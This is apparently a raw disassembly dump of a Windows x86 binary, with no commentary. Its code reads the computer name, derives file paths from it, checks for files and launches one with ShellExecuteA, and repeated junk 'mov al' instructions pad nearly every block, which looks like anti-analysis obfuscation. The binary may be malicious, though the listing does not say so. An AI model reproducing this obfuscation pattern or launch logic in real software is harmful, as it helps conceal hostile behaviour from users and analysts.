mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea edx, [ebp - 0x25c]
push edx
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov ecx, dword [ebp - 0x14]
push ecx
lea edx, [ebp - 0x230]
push edx
call section..text
add esp, 8
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
movsx eax, byte [ebp - 0x230]
mov dword [ebp - 0x380], eax
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov eax, dword [ebp - 0x380]
cdq
mov ecx, 0xb
idiv ecx
mov dword [ebp - 0x380], edx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea edx, [ebp - 0x230]
push edx
mov eax, dword [ebp - 0x380]
push eax
lea ecx, [ebp - 0x254]
push ecx
call fcn.00404fa0
add esp, 0xc
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x120]
sub edx, eax
mov dword [ebp - 0x380], edx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov ecx, dword [ebp - 0x380]
add ecx, 1
mov dword [ebp - 0x380], ecx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov edx, dword [ebp - 0x380]
mov dword [ebp - 0x414], edx
lea eax, [ebp - 0x120]
mov dword [ebp - 0x418], eax
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x410], ecx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea edx, [ebp - 0x230]
test edx, edx
jne 0x402679
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
jmp 0x4027b5
cmp dword [ebp - 0x418], 0
jne 0x4026de
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov byte [ebp - 0x230], 0
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
jmp 0x4027b5
mov eax, dword [ebp - 0x414]
mov ecx, dword [ebp - 0x414]
sub ecx, 1
mov dword [ebp - 0x414], ecx
test eax, eax
je 0x40275c
mov edx, dword [ebp - 0x410]
mov eax, dword [ebp - 0x418]
mov cl, byte [eax]
mov byte [edx], cl
mov edx, dword [ebp - 0x410]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x410]
add ecx, 1
mov dword [ebp - 0x410], ecx
mov edx, dword [ebp - 0x418]
add edx, 1
mov dword [ebp - 0x418], edx
test eax, eax
je 0x40275c
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
jmp 0x4026de
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov eax, dword [ebp - 0x410]
mov byte [eax], 0
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea ecx, [ebp - 0x254]
push ecx
lea edx, [ebp - 0x230]
push edx
call section..text
add esp, 8
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
push 0x40a10c
lea eax, [ebp - 0x230]
push eax
call section..text
add esp, 8
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov ecx, dword [ebp - 0x14]
push ecx
lea edx, [ebp - 0x230]
push edx
call section..text
add esp, 8
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x41c], eax
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
cmp dword [ebp - 0x41c], 0xffffffff
je 0x402909
movsx ecx, byte [ebp - 0x230]
test ecx, ecx
jne 0x402915
mov dword [ebp - 0x420], 0
jmp 0x40291f
mov dword [ebp - 0x420], 1
cmp dword [ebp - 0x420], 0
je 0x402a4d
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
push 1
lea edx, [ebp - 0x378]
push edx
mov eax, dword [ebp - 0x258]
push eax
lea ecx, [ebp - 0x230]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov byte [ebp - 0x385], 1
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov edx, dword [ebp - 0x258]
mov byte [edx], 0x70
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov eax, dword [ebp - 0x264]
sub eax, dword [ebp - 0x26c]
add eax, 2
mov dword [ebp - 0x428], eax
mov ecx, dword [ebp - 0x26c]
mov dword [ebp - 0x42c], ecx
lea edx, [ebp - 0x378]
mov dword [ebp - 0x424], edx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea eax, [ebp - 0x378]
test eax, eax
jne 0x402ad9
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
jmp 0x402c15
cmp dword [ebp - 0x42c], 0
jne 0x402b3e
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov byte [ebp - 0x378], 0
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
jmp 0x402c15
mov ecx, dword [ebp - 0x428]
mov edx, dword [ebp - 0x428]
sub edx, 1
mov dword [ebp - 0x428], edx
test ecx, ecx
je 0x402bbc
mov eax, dword [ebp - 0x424]
mov ecx, dword [ebp - 0x42c]
mov dl, byte [ecx]
mov byte [eax], dl
mov eax, dword [ebp - 0x424]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x424]
add edx, 1
mov dword [ebp - 0x424], edx
mov eax, dword [ebp - 0x42c]
add eax, 1
mov dword [ebp - 0x42c], eax
test ecx, ecx
je 0x402bbc
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
jmp 0x402b3e
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov ecx, dword [ebp - 0x424]
mov byte [ecx], 0
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
movsx edx, byte [ebp - 0x378]
mov dword [ebp - 0x380], edx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov eax, dword [ebp - 0x380]
cdq
mov ecx, 0xb
idiv ecx
mov dword [ebp - 0x380], edx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea edx, [ebp - 0x378]
push edx
mov eax, dword [ebp - 0x380]
push eax
lea ecx, [ebp - 0x254]
push ecx
call fcn.00404fa0
add esp, 0xc
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
push 0x105
push 0
lea edx, [ebp - 0x230]
push edx
call fcn.00405810
add esp, 0xc
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x120]
sub eax, ecx
mov dword [ebp - 0x380], eax
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov edx, dword [ebp - 0x380]
add edx, 1
mov dword [ebp - 0x380], edx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov eax, dword [ebp - 0x380]
mov dword [ebp - 0x480], eax
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x484], ecx
lea edx, [ebp - 0x230]
mov dword [ebp - 0x47c], edx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea eax, [ebp - 0x230]
test eax, eax
jne 0x402e4c
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
jmp 0x402f88
cmp dword [ebp - 0x484], 0
jne 0x402eb1
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov byte [ebp - 0x230], 0
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
jmp 0x402f88
mov ecx, dword [ebp - 0x480]
mov edx, dword [ebp - 0x480]
sub edx, 1
mov dword [ebp - 0x480], edx
test ecx, ecx
je 0x402f2f
mov eax, dword [ebp - 0x47c]
mov ecx, dword [ebp - 0x484]
mov dl, byte [ecx]
mov byte [eax], dl
mov eax, dword [ebp - 0x47c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x47c]
add edx, 1
mov dword [ebp - 0x47c], edx
mov eax, dword [ebp - 0x484]
add eax, 1
mov dword [ebp - 0x484], eax
test ecx, ecx
je 0x402f2f
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
jmp 0x402eb1
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov ecx, dword [ebp - 0x47c]
mov byte [ecx], 0
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea edx, [ebp - 0x254]
push edx
lea eax, [ebp - 0x230]
push eax
call section..text
add esp, 8
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov ecx, dword [ebp - 0x14]
push ecx
lea edx, [ebp - 0x230]
push edx
call section..text
add esp, 8
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x488], eax
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
cmp dword [ebp - 0x488], 0xffffffff
je 0x4030c8
movsx ecx, byte [ebp - 0x230]
test ecx, ecx
jne 0x4030d4
mov dword [ebp - 0x48c], 0
jmp 0x4030de
mov dword [ebp - 0x48c], 1
cmp dword [ebp - 0x48c], 0
je 0x403173
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov byte [ebp - 0x385], 1
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov edx, dword [ebp - 0x258]
mov byte [edx], 0x70
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
push 0x1a
call fcn.004053e0
add esp, 4
mov dword [ebp - 0x124], eax
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
cmp dword [ebp - 0x124], 0
jne 0x4031e1
jmp 0x404343
mov byte [ebp - 0x25e], 0
mov al, byte [ebp - 0x25e]
mov byte [ebp - 9], al
mov cl, byte [ebp - 9]
mov byte [ebp - 0x379], cl
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
movzx edx, byte [ebp - 0x385]
test edx, edx
jne 0x40323b
mov eax, dword [ebp - 0x258]
movsx ecx, byte [eax]
cmp ecx, 0x70
jne 0x40324a
movzx edx, byte [ebp - 0x231]
test edx, edx
je 0x4039bb
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
call fcn.00404870
